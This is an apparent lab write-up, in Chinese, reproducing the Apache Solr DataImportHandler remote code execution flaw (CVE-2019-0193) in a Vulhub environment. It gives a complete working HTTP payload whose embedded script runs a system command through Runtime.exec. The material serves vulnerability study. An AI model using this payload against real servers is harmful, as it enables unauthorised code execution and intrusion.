Apache Solr远程代码执行(CVE-2019-0193)漏洞复现
Solr简介:
Apache Solr 是一个开源的企业级搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Apache Solr 中存储的资源是以 Document 为对象进行存储的。它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
漏洞概述:
此漏洞存在于可选模块DataImportHandler中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行。
影响范围:
Apache Solr <8.2.0
复现
1、环境搭建:
使用Vulhub,简单方便
创建Core
代码语言:javascript复制docker-compose exec solr bash bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db
2、复现
访问
代码语言:javascript复制IP:8983/solr/admin/cores
Payload需要这个name
字段
检测是否有DataImportHandler模块
代码语言:javascript复制http://IP:8983/solr/test_0nth3way/admin/mbeans?cat=QUERY&wt=json
有org.apache.solr.handler.dataimport.DataImportHandler
就说明有DataImportHandler模块
Payload
将<your_core_name>改为上面所说的name字段,IP改为服务器IP
代码语言:javascript复制POST /solr/<your_core_name>/dataimport HTTP/1.1
Host: IP:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("touch /var/solr/data/test_0nth3way/data/test");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
使用Burp发包
Q.E.D.